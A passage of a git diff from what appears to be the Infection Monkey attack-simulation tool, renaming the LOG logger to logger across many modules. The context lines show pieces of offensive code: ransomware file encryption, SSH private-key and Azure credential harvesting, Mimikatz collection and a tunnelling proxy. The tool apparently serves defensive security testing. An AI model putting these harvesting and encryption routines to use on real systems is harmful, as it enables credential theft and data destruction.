logger.debug("Found max needed victims (%d), stopping scan", max_find) return if WormConfiguration.tcp_scan_interval: # time.sleep uses seconds, while config is in milliseconds @@ -125,9 +125,9 @@ class NetworkScanner(object): :param victim: VictimHost machine :return: Victim or None if victim isn't alive """ - LOG.debug("Scanning target address: %r", victim) + logger.debug("Scanning target address: %r", victim) if any(scanner.is_host_alive(victim) for scanner in self.scanners): - LOG.debug("Found potential target_ip: %r", victim) + logger.debug("Found potential target_ip: %r", victim) return victim else: return None diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index d7ebffb56..388c5916d 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -14,7 +14,7 @@ TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+" LINUX_TTL = 64 WINDOWS_TTL = 128 -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): @@ -30,7 +30,7 @@ class PingScanner(HostScanner, HostFinger): def is_host_alive(self, host): ping_cmd = self._build_ping_command(host.ip_addr) - LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") + logger.debug(f"Running ping command: {' '.join(ping_cmd)}") return 0 == subprocess.call( ping_cmd, @@ -40,7 +40,7 @@ class PingScanner(HostScanner, HostFinger): def get_host_fingerprint(self, host): ping_cmd = self._build_ping_command(host.ip_addr) - LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") + logger.debug(f"Running ping command: {' '.join(ping_cmd)}") # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash @@ -55,7 +55,7 @@ class PingScanner(HostScanner, HostFinger): errors="backslashreplace", ) - LOG.debug(f"Retrieving ping command output using {encoding} encoding") + logger.debug(f"Retrieving ping command output using {encoding} encoding") output = " ".join(sub_proc.communicate()) regex_result = self._ttl_regex.search(output) if regex_result: @@ -71,7 +71,7 @@ class PingScanner(HostScanner, HostFinger): return True except Exception as exc: - LOG.debug("Error parsing ping fingerprint: %s", exc) + logger.debug("Error parsing ping fingerprint: %s", exc) return False diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index b035a053f..f3301f33c 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -9,7 +9,7 @@ from infection_monkey.network.HostFinger import HostFinger SMB_PORT = 445 SMB_SERVICE = "tcp-445" -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class Packet: @@ -185,6 +185,6 @@ class SMBFinger(HostFinger): host.services[SMB_SERVICE]["os-version"] = os_version return True except Exception as exc: - LOG.debug("Error getting smb fingerprint: %s", exc) + logger.debug("Error getting smb fingerprint: %s", exc) return False diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 17eae6969..9d6878cb9 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -12,7 +12,7 @@ from infection_monkey.network.info import get_routes, local_ips DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -59,7 +59,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.timeout: return False, None except socket.error as exc: - LOG.debug("Check port: %s:%s, Exception: %s", ip, port, exc) + logger.debug("Check port: %s:%s, Exception: %s", ip, port, exc) return False, None banner = None @@ -90,7 +90,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): possible_ports = [] connected_ports_sockets = [] try: - LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) + logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) for sock, port in zip(sockets, ports): err = sock.connect_ex((ip, port)) if err == 0: # immediate connect @@ -105,7 +105,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): if err == 115: # EINPROGRESS 115 /* Operation now in progress */ possible_ports.append((port, sock)) continue - LOG.warning("Failed to connect to port %s, error code is %d", port, err) + logger.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: timeout = int(round(timeout)) # clamp to integer, to avoid checking input @@ -125,7 +125,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): time.sleep(SLEEP_BETWEEN_POLL) timeout -= SLEEP_BETWEEN_POLL - LOG.debug( + logger.debug( "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) ) @@ -150,7 +150,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): return [], [] except socket.error as exc: - LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) + logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] @@ -169,7 +169,7 @@ def get_interface_to_target(dst): s.connect((dst, 1)) ip_to_dst = s.getsockname()[0] except KeyError: - LOG.debug( + logger.debug( "Couldn't get an interface to the target, presuming that target is localhost." ) ip_to_dst = "127.0.0.1" diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index ed9b1dc21..4f0c6bd90 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -9,7 +9,7 @@ from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ) from infection_monkey.utils.environment import is_windows_os -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class SignedScriptProxyExecution(PBA): @@ -26,7 +26,7 @@ class SignedScriptProxyExecution(PBA): ).decode() super().run() except Exception as e: - LOG.warning( + logger.warning( f"An exception occurred on running PBA " f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}" ) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index e165d2890..4c706a1c1 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -11,7 +11,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) DIR_CHANGE_WINDOWS = "cd %s & " @@ -78,7 +78,7 @@ class UsersPBA(PBA): status = None if not pba_file_contents or not pba_file_contents.content: - LOG.error("Island didn't respond with post breach file.") + logger.error("Island didn't respond with post breach file.") status = ScanStatus.SCANNED if not status: @@ -99,5 +99,5 @@ class UsersPBA(PBA): written_PBA_file.write(pba_file_contents.content) return True except IOError as e: - LOG.error("Can not upload post breach file to target machine: %s" % e) + logger.error("Can not upload post breach file to target machine: %s" % e) return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index b047c4a8d..b9f72697f 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -9,7 +9,7 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.plugins.plugin import Plugin -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class PBA(Plugin): @@ -56,7 +56,7 @@ class PBA(Plugin): ).send() PostBreachTelem(self, result).send() else: - LOG.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") + logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") def is_script(self): """ diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 3bfc1f362..489b2065a 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -4,7 +4,7 @@ from typing import Sequence from infection_monkey.post_breach.pba import PBA -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class PostBreach(object): @@ -21,7 +21,7 @@ class PostBreach(object): """ with Pool(5) as pool: pool.map(self.run_pba, self.pba_list) - LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) + logger.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod def config_to_pba_list() -> Sequence[PBA]: @@ -32,8 +32,8 @@ class PostBreach(object): def run_pba(self, pba): try: - LOG.debug("Executing PBA: '{}'".format(pba.name)) + logger.debug("Executing PBA: '{}'".format(pba.name)) pba.run() - LOG.debug(f"Execution of {pba.name} finished") + logger.debug(f"Execution of {pba.name} finished") except Exception as e: - LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) + logger.error("PBA {} failed. Error info: {}".format(pba.name, e)) diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py index e1b1cb2c4..f8ab792da 100644 --- a/monkey/infection_monkey/ransomware/ransomware_config.py +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -3,7 +3,7 @@ import logging from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.utils.environment import is_windows_os -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class RansomwareConfig: @@ -23,5 +23,5 @@ class RansomwareConfig: try: self.target_directory = expand_path(target_directory) except InvalidPath as e: - LOG.debug(f"Target ransomware directory set to None: {e}") + logger.debug(f"Target ransomware directory set to None: {e}") self.target_directory = None diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 3c8b36770..60cdeff84 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -7,7 +7,7 @@ from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class RansomwarePayload: @@ -30,7 +30,7 @@ class RansomwarePayload: if not self._config.target_directory: return - LOG.info("Running ransomware payload") + logger.info("Running ransomware payload") if self._config.encryption_enabled: file_list = self._find_files() @@ -40,19 +40,19 @@ class RansomwarePayload: self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) def _find_files(self) -> List[Path]: - LOG.info(f"Collecting files in {self._config.target_directory}") + logger.info(f"Collecting files in {self._config.target_directory}") return sorted(self._select_files(self._config.target_directory)) def _encrypt_files(self, file_list: List[Path]): - LOG.info(f"Encrypting files in {self._config.target_directory}") + logger.info(f"Encrypting files in {self._config.target_directory}") for filepath in file_list: try: - LOG.debug(f"Encrypting {filepath}") + logger.debug(f"Encrypting {filepath}") self._encrypt_file(filepath) self._send_telemetry(filepath, True, "") except Exception as ex: - LOG.warning(f"Error encrypting {filepath}: {ex}") + logger.warning(f"Error encrypting {filepath}: {ex}") self._send_telemetry(filepath, False, str(ex)) def _send_telemetry(self, filepath: Path, success: bool, error: str): diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 8d7e2b129..9f0d78754 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -18,11 +18,11 @@ from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def build_ransomware_payload(config: dict): - LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") + logger.debug(f"Ransomware payload configuration:\n{pformat(config)}") ransomware_config = RansomwareConfig(config) file_encryptor = _build_file_encryptor() diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/ransomware/readme_dropper.py index a3037e76a..12a171c5b 100644 --- a/monkey/infection_monkey/ransomware/readme_dropper.py +++ b/monkey/infection_monkey/ransomware/readme_dropper.py @@ -2,21 +2,21 @@ import logging import shutil from pathlib import Path -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def leave_readme(src: Path, dest: Path): if dest.exists(): - LOG.warning(f"{dest} already exists, not leaving a new README.txt") + logger.warning(f"{dest} already exists, not leaving a new README.txt") return _copy_readme_file(src, dest) def _copy_readme_file(src: Path, dest: Path): - LOG.info(f"Leaving a ransomware README file at {dest}") + logger.info(f"Leaving a ransomware README file at {dest}") try: shutil.copyfile(src, dest) except Exception as ex: - LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") + logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index b4c98e001..85b01978f 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -6,7 +6,7 @@ import pwd from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class SSHCollector(object): @@ -18,10 +18,10 @@ class SSHCollector(object): @staticmethod def get_info(): - LOG.info("Started scanning for ssh keys") + logger.info("Started scanning for ssh keys") home_dirs = SSHCollector.get_home_dirs() ssh_info = SSHCollector.get_ssh_files(home_dirs) - LOG.info("Scanned for ssh keys") + logger.info("Scanned for ssh keys") return ssh_info @staticmethod @@ -66,7 +66,7 @@ class SSHCollector(object): if glob.glob(os.path.join(current_path, "*.pub")): # Getting first file in current path with .pub extension(public key) public = glob.glob(os.path.join(current_path, "*.pub"))[0] - LOG.info("Found public key in %s" % public) + logger.info("Found public key in %s" % public) try: with open(public) as f: info["public_key"] = f.read() @@ -80,7 +80,7 @@ class SSHCollector(object): private_key = f.read() if private_key.find("ENCRYPTED") == -1: info["private_key"] = private_key - LOG.info("Found private key in %s" % private) + logger.info("Found private key in %s" % private) T1005Telem( ScanStatus.USED, "SSH key", "Path: %s" % private ).send() @@ -94,7 +94,7 @@ class SSHCollector(object): try: with open(known_hosts) as f: info["known_hosts"] = f.read() - LOG.info("Found known_hosts in %s" % known_hosts) + logger.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass # If private key found don't search more diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 28903aea4..51da9b869 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -10,7 +10,7 @@ from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.netstat_collector import NetstatCollector from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Linux doesn't have WindowsError try: @@ -76,7 +76,7 @@ class InfoCollector(object): containing host ip and the subnet range :return: None. Updates class information """ - LOG.debug("Reading subnets") + logger.debug("Reading subnets") self.info["network_info"] = { "networks": get_host_subnets(), "netstat": NetstatCollector.get_netstat_info(), @@ -94,7 +94,7 @@ class InfoCollector(object): if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes: return - LOG.debug("Harvesting creds if on an Azure machine") + logger.debug("Harvesting creds if on an Azure machine") azure_collector = AzureCollector() if "credentials" not in self.info: self.info["credentials"] = {} @@ -114,4 +114,4 @@ class InfoCollector(object): except Exception: # If we failed to collect azure info, no reason to fail all the collection. Log and # continue. - LOG.error("Failed collecting Azure info.", exc_info=True) + logger.error("Failed collecting Azure info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 8d9f5cd7a..3d1f3e573 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -9,7 +9,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class AzureCollector(object): @@ -35,7 +35,7 @@ class AzureCollector(object): """ results = [self.extractor(filepath) for filepath in self.file_list] results = [x for x in results if x] - LOG.info("Found %d Azure VM access configuration file", len(results)) + logger.info("Found %d Azure VM access configuration file", len(results)) return results @staticmethod @@ -68,13 +68,13 @@ class AzureCollector(object): T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send() return decrypt_data["username"], decrypt_data["password"] except IOError: - LOG.warning("Failed to parse VM Access plugin file. Could not open file") + logger.warning("Failed to parse VM Access plugin file. Could not open file") return None except (KeyError, ValueError): - LOG.warning("Failed to parse VM Access plugin file. Invalid format") + logger.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning( + logger.warning( "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" ) return None @@ -119,13 +119,13 @@ class AzureCollector(object): ).send() return username, password except IOError: - LOG.warning("Failed to parse VM Access plugin file. Could not open file") + logger.warning("Failed to parse VM Access plugin file. Could not open file") return None except (KeyError, ValueError, IndexError): - LOG.warning("Failed to parse VM Access plugin file. Invalid format") + logger.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: - LOG.warning( + logger.warning( "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" ) return None diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index 76ddeab5a..ae35a4a47 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -3,7 +3,7 @@ import logging from infection_monkey.system_info import InfoCollector from infection_monkey.system_info.SSH_info_collector import SSHCollector -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class LinuxInfoCollector(InfoCollector): @@ -20,7 +20,7 @@ class LinuxInfoCollector(InfoCollector): Hostname, process list and network subnets :return: Dict of system information """ - LOG.debug("Running Linux collector") + logger.debug("Running Linux collector") super(LinuxInfoCollector, self).get_info() self.info["ssh_info"] = SSHCollector.get_info() return self.info diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py index 9df4ef231..1f28123dc 100644 --- a/monkey/infection_monkey/system_info/netstat_collector.py +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -7,7 +7,7 @@ from socket import AF_INET, SOCK_DGRAM, SOCK_STREAM import psutil -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class NetstatCollector(object): @@ -26,7 +26,7 @@ class NetstatCollector(object): @staticmethod def get_netstat_info(): - LOG.info("Collecting netstat info") + logger.info("Collecting netstat info") return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind="inet")] @staticmethod diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index c54286931..8eddbcb29 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -4,7 +4,7 @@ from typing import Sequence from infection_monkey.system_info.system_info_collector import SystemInfoCollector from infection_monkey.telemetry.system_info_telem import SystemInfoTelem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class SystemInfoCollectorsHandler(object): @@ -16,14 +16,14 @@ class SystemInfoCollectorsHandler(object): system_info_telemetry = {} for collector in self.collectors_list: try: - LOG.debug("Executing system info collector: '{}'".format(collector.name)) + logger.debug("Executing system info collector: '{}'".format(collector.name)) collected_info = collector.collect() system_info_telemetry[collector.name] = collected_info successful_collections += 1 except Exception as e: # If we failed one collector, no need to stop execution. Log and continue. - LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) - LOG.info( + logger.error("Collector {} failed. Error info: {}".format(collector.name, e)) + logger.info( "All system info collectors executed. Total {} executed, out of which {} " "collected successfully.".format(len(self.collectors_list), successful_collections) ) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 0bed5c7f8..ee42de90a 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -6,7 +6,7 @@ from infection_monkey.system_info.windows_cred_collector.windows_credentials imp WindowsCredentials, ) -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MimikatzCredentialCollector(object): diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 82b41ec84..8051098d0 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -10,8 +10,8 @@ sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config # noqa: E402 from infection_monkey.system_info import InfoCollector # noqa: E402 -LOG = logging.getLogger(__name__) -LOG.info("started windows info collector") +logger = logging.getLogger(__name__) +logger.info("started windows info collector") class WindowsInfoCollector(InfoCollector): @@ -30,7 +30,7 @@ class WindowsInfoCollector(InfoCollector): Tries to read credential secrets using mimikatz :return: Dict of system information """ - LOG.debug("Running Windows collector") + logger.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() # TODO: Think about returning self.get_wmi_info() from infection_monkey.config import WormConfiguration @@ -41,15 +41,15 @@ class WindowsInfoCollector(InfoCollector): return self.info def get_mimikatz_info(self): - LOG.info("Gathering mimikatz info") + logger.info("Gathering mimikatz info") try: credentials = MimikatzCredentialCollector.get_creds() if credentials: if "credentials" in self.info: self.info["credentials"].update(credentials) self.info["mimikatz"] = credentials - LOG.info("Mimikatz info gathered successfully") + logger.info("Mimikatz info gathered successfully") else: - LOG.info("No mimikatz info was gathered") + logger.info("No mimikatz info was gathered") except Exception as e: - LOG.info(f"Mimikatz credential collector failed: {e}") + logger.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 689e74979..745ecea67 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,7 +5,7 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class _SystemSingleton(object, metaclass=ABCMeta): @@ -32,16 +32,18 @@ class WindowsSystemSingleton(_SystemSingleton): last_error = ctypes.windll.kernel32.GetLastError() if not handle: - LOG.error( + logger.error( "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error ) return False if winerror.ERROR_ALREADY_EXISTS == last_error: - LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) + logger.debug( + "Cannot acquire system singleton %r, mutex already exist", self._mutex_name + ) return False self._mutex_handle = handle - LOG.debug("Global singleton mutex %r acquired", self._mutex_name) + logger.debug("Global singleton mutex %r acquired", self._mutex_name) return True @@ -64,7 +66,7 @@ class LinuxSystemSingleton(_SystemSingleton): try: sock.bind("\0" + self._unix_sock_name) except socket.error as e: - LOG.error( + logger.error( "Cannot acquire system singleton %r, error code %d, error: %s", self._unix_sock_name, e.args[0], @@ -74,7 +76,7 @@ class LinuxSystemSingleton(_SystemSingleton): self._sock_handle = sock - LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name) + logger.debug("Global singleton mutex %r acquired", self._unix_sock_name) return True diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index 8e5922dca..c2895ea1b 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -3,7 +3,7 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class TraceTelem(BaseTelem): @@ -14,7 +14,7 @@ class TraceTelem(BaseTelem): """ super(TraceTelem, self).__init__() self.msg = msg - LOG.debug("Trace: %s" % msg) + logger.debug("Trace: %s" % msg) telem_category = TelemCategoryEnum.TRACE diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 182ca0611..910d79bf4 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -15,7 +15,7 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time -LOG = getLogger(__name__) +logger = getLogger(__name__) class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): @@ -105,7 +105,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): return f, start_range, end_range def log_message(self, format_string, *args): - LOG.debug( + logger.debug( "FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -118,7 +118,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): try: content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() - LOG.info("Received bootloader's request: {}".format(post_data)) + logger.info("Received bootloader's request: {}".format(post_data)) try: dest_path = self.path r = requests.post( # noqa: DUO123 @@ -130,21 +130,21 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): ) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: - LOG.error("Couldn't forward request to the island: {}".format(e)) + logger.error("Couldn't forward request to the island: {}".format(e)) self.send_response(404) except Exception as e: - LOG.error("Failed to forward bootloader request: {}".format(e)) + logger.error("Failed to forward bootloader request: {}".format(e)) finally: self.end_headers() self.wfile.write(r.content) except Exception as e: - LOG.error("Failed receiving bootloader telemetry: {}".format(e)) + logger.error("Failed receiving bootloader telemetry: {}".format(e)) def version_string(self): return "" def do_CONNECT(self): - LOG.info("Received a connect request!") + logger.info("Received a connect request!") # just provide a tunnel, transfer the data with no modification req = self req.path = "https://%s/" % req.path.replace(":443", "") @@ -154,7 +154,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): try: conn = socket.create_connection(address) except socket.error as e: - LOG.debug( + logger.debug( "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e) ) @@ -181,7 +181,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): conn.close() def log_message(self, format_string, *args): - LOG.debug( + logger.debug( "HTTPConnectProxyHandler: %s - [%s] %s" % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -206,7 +206,7 @@ class HTTPServer(threading.Thread): @staticmethod def report_download(dest=None): - LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), @@ -263,7 +263,7 @@ class LockedHTTPServer(threading.Thread): @staticmethod def report_download(dest=None): - LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 60a995edc..2e13d6c43 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -8,7 +8,7 @@ from infection_monkey.transport.base import TransportProxyBase, update_last_serv READ_BUFFER_SIZE = 8192 DEFAULT_TIMEOUT = 30 -LOG = getLogger(__name__) +logger = getLogger(__name__) class SocketsPipe(Thread): @@ -70,7 +70,7 @@ class TcpProxy(TransportProxyBase): pipe = SocketsPipe(source, dest) pipes.append(pipe) - LOG.debug( + logger.debug( "piping sockets %s:%s->%s:%s", address[0], address[1], diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 2f73ad9bf..44d6064b3 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -10,7 +10,7 @@ from infection_monkey.network.info import get_free_tcp_port, local_ips from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) MCAST_GROUP = "224.1.1.1" MCAST_PORT = 5007 @@ -38,10 +38,10 @@ def _check_tunnel(address, port, existing_sock=None): else: sock = existing_sock - LOG.debug("Checking tunnel %s:%s", address, port) + logger.debug("Checking tunnel %s:%s", address, port) is_open, _ = check_tcp_port(address, int(port)) if not is_open: - LOG.debug("Could not connect to %s:%s", address, port) + logger.debug("Could not connect to %s:%s", address, port) if not existing_sock: sock.close() return False @@ -49,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None): try: sock.sendto(b"+", (address, MCAST_PORT)) except Exception as exc: - LOG.debug("Caught exception in tunnel registration: %s", exc) + logger.debug("Caught exception in tunnel registration: %s", exc) if not existing_sock: sock.close() @@ -68,7 +68,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): for adapter in l_ips: for attempt in range(0, attempts): try: - LOG.info("Trying to find using adapter %s", adapter) + logger.info("Trying to find using adapter %s", adapter) sock = _set_multicast_socket(timeout, adapter) sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT)) tunnels = [] @@ -92,7 +92,7 @@ def 